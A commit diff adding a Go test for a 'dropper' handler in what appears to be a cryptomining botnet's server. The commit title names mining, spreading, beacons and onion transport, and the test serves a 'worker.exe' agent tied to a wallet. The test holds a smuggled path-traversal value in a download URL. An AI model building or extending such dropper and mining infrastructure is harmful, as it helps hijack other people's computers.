Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

server/internal/api/dropper_handler_test.go

@@ -196,6 +196,38 @@ func TestResolveDropperArtifact(t *testing.T) {
 	}
 }
 
+func TestDropperServeGetRejectsTraversalInArtifactURL(t *testing.T) {
+	h, database, dataDir := newTestDropperHandler(t)
+	buildID := "safe-build"
+	buildDir := filepath.Join(dataDir, "builds", buildID)
+	if err := os.MkdirAll(buildDir, 0755); err != nil {
+		t.Fatal(err)
+	}
+	binPath := filepath.Join(buildDir, "worker.exe")
+	if err := os.WriteFile(binPath, []byte("agent"), 0644); err != nil {
+		t.Fatal(err)
+	}
+	// Malicious DownloadURL must not escape build dir via resolveDropperArtifact.
+	if err := database.InsertBuild(&models.BuildRecord{
+		ID: buildID, WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
+		FilePath: binPath, FileName: "worker.exe", Platform: "windows",
+		DownloadURL: "/api/v1/builds/" + buildID + "/artifact/..%2F..%2Fsecret.zip",
+		CreatedAt: time.Now(),
+	}); err != nil {
+		t.Fatal(err)
+	}
+	req := httptest.NewRequest(http.MethodGet, "/get?os=windows", nil)
+	rec := httptest.NewRecorder()
+	h.ServeGet(rec, req)
+	// Falls back to FilePath worker.exe — bundle artifact name is sanitized away.
+	if rec.Code != http.StatusOK {
+		t.Fatalf("expected fallback to FilePath, got %d body=%s", rec.Code, rec.Body.String())
+	}
+	if rec.Body.String() != "agent" {
+		t.Fatalf("body=%q", rec.Body.String())
+	}
+}
+
 func TestDropperServePs1Content(t *testing.T) {
 	h, _, _ := newTestDropperHandler(t)
 	req := httptest.NewRequest(http.MethodGet, "/install.ps1", nil)